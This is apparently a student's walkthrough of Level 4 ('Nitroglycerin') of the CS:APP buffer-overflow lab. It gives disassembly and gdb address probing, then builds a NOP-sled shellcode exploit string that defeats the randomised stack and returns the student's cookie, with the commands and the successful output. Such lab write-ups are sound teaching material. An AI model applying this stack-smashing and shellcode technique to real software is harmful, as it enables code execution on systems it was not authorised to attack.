Skip to content

Latest commit

 

History

History
239 lines (197 loc) · 7 KB

File metadata and controls

239 lines (197 loc) · 7 KB

Level 4: Nitroglycerin ( Hai Dang )

In the previous code that calls getbuf, we have incorporated features that stabilize the stack, so that the posititon of getbuf's stack frame will be consistent between runs. It is possible for you to write an exploit string knowing the exact starting address of buf. However, for this level, we have gone the opposite direction, making the stack positions even less stable than they normally are.

In particular, The job is to supply an exploit string that will cause getbufn to return my cookie back to test, rather than the value 1. It makes program to go "KABOOM!, and exploit code should set my cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute a ret instruction to really return to testn.

1. Determine buffer string input.

/* Buffer size for getbufn */ 
#define KABOOM_BUFFER_SIZE 512

When you run bufbomb with the command line flag -n, it will run in "Nitro". mode. Rather calling the function getbuf, the program calls a slightly different function getbufn:

  int getbufn()
  {
      char buf[KABOOM_BUFFER_SIZE];
      Gets(buf);
      return 1;
  }

This function is similar to getbuf, except that it has a buffer of 512 characters. You will need this additional space to create a reliable exploit.
The code that calls getbufn first allocates a random amount of storage on the stack (using library function alloca) that ranges between 0 and 255 bytes. The KABOOM_BUFFER_SIZE = 512. So we need to have at least 509 bytes to make them overflow.

Furthermore, the trick is to make use of the nop instruction instead of using 61 that I use at level 0->3. The reason is that it is encoded with a single byte (code 0x90). I can place a long sequence of these at the beginning of my exploit code so that my code will work correctly if the initial jump lands anywhere within the sequence.

--> Therefore, we need 0x90 x 109 bytes

2. Assembly code testn and getbufn:

Type command:

Testn:

 0x08048be6 <+0>:	push   %ebp
   0x08048be7 <+1>:	mov    %esp,%ebp
   0x08048be9 <+3>:	push   %ebx
   0x08048bea <+4>:	sub    $0x24,%esp
   0x08048bed <+7>:	call   0x8048b30 <uniqueval>
   0x08048bf2 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048bf5 <+15>:	call   0x80490b0 <getbufn>
   0x08048bfa <+20>:	mov    %eax,%ebx
   0x08048bfc <+22>:	call   0x8048b30 <uniqueval>
   0x08048c01 <+27>:	mov    -0xc(%ebp),%edx
   0x08048c04 <+30>:	cmp    %edx,%eax
   0x08048c06 <+32>:	je     0x8048c16 <testn+48>
   0x08048c08 <+34>:	movl   $0x804a0a8,(%esp)
   0x08048c0f <+41>:	call   0x8048940 <puts@plt>
   0x08048c14 <+46>:	jmp    0x8048c4c <testn+102>
   0x08048c16 <+48>:	cmp    0x804c1e4,%ebx
   0x08048c1c <+54>:	jne    0x8048c3c <testn+86>
   0x08048c1e <+56>:	mov    %ebx,0x4(%esp)
   0x08048c22 <+60>:	movl   $0x804a0d4,(%esp)
   0x08048c29 <+67>:	call   0x80488e0 <printf@plt>
   0x08048c2e <+72>:	movl   $0x4,(%esp)
   0x08048c35 <+79>:	call   0x80490e8 <validate>
   0x08048c3a <+84>:	jmp    0x8048c4c <testn+102>
   0x08048c3c <+86>:	mov    %ebx,0x4(%esp)
   0x08048c40 <+90>:	movl   $0x8049ef7,(%esp)
   0x08048c47 <+97>:	call   0x80488e0 <printf@plt>
   0x08048c4c <+102>:	add    $0x24,%esp
   0x08048c4f <+105>:	pop    %ebx
   0x08048c50 <+106>:	pop    %ebp
   0x08048c51 <+107>:	ret 

Getbufn:

(gdb) disassemble getbufn
Dump of assembler code for function getbufn:
   0x080490b0 <+0>:	push   %ebp
   0x080490b1 <+1>:	mov    %esp,%ebp
   0x080490b3 <+3>:	sub    $0x218,%esp
   0x080490b9 <+9>:	lea    -0x208(%ebp),%eax
   0x080490bf <+15>:	mov    %eax,(%esp)
   0x080490c2 <+18>:	call   0x8048b4a <Gets>
   0x080490c7 <+23>:	mov    $0x1,%eax
   0x080490cc <+28>:	leave  
   0x080490cd <+29>:	ret  

3. Shellcode for exploitation

  1. Restore the stack One of the most important note is we need to maintain the stack because when you run in Nitro mode, BUFBOMB requires you to supply string 5 times, and it will execute getbufn 5 times. So, before call getbufn it has 2 instructions making the change of stack.
   0x08048be9 <+3>:	push   %ebx
   0x08048bea <+4>:	sub    $0x24,%esp

So, we need to restore stack by 8 bytes by instrucsions leal 0x28(%esp),%ebp

  1. Return my coorkie and return address for EIP
   0x08048bf5 <+15>:	call   0x80490b0 <getbufn>
   0x08048bfa <+20>:	mov    %eax,%ebx

After getbufn, we want to run the instruction at 0x08048bfa. Therefore, the shellcode has content:

asm_NitroGlycerin.s:

   0:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   4:	b8 fd 4c 9b 2b       	mov    $0x2b9b4cfd,%eax
   9:	68 fa 8b 04 08       	push   $0x8048bfa
   e:	c3                   	ret  

Determine the maximum stack frame inputs string.

Type command:

danghai@babbage:~/buflab-handout$ gdb bufbomb
(gdb) break *getbufn
(gdb) run -nu danghai
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$1 = 0x55682ef8  ================================> 1st Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$2 = 0x55682ec8  =================================> 2nd Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$3 = 0x55682f38  =================================> 3rd Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$4 = 0x55682e88   =================================> 4th Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$5 = 0x55682eb8   =================================> 5th Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 3412) exited normally]
(gdb) 

So we have 5 address:

	$1 = 0x55682ef8
	$2 = 0x55682ec8 
	$3 = 0x55682f38  // Maximum address
	$4 = 0x55682e88 
	$5 = 0x55682eb8

Therefore, maximum address: 0x55682f38 --> 38 2f 68 55 (Little Endian)

4. Exploitation string

509 bytes NOP + Shellcode + Maximum stack frame

Note: We need to use the "-n" command-line flag in order to run this stage, as well as creating the raw file.

	danghai@babbage:~/buflab-handout$ perl -e 'print "90 "x509, "8d 6c 24 28 b8 fd 4c 9b 2b 68 fa 8b 04 08 c3 ","38 2f 68 55"' > hex_level4
	danghai@babbage:~/buflab-handout$ ./hex2raw -n <hex_level4> raw_level4
	danghai@babbage:~/buflab-handout$ ./bufbomb -u danghai -n < raw_level4

!OMG, It works:

Userid: danghai
Cookie: 0x2b9b4cfd
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
VALID
NICE JOB!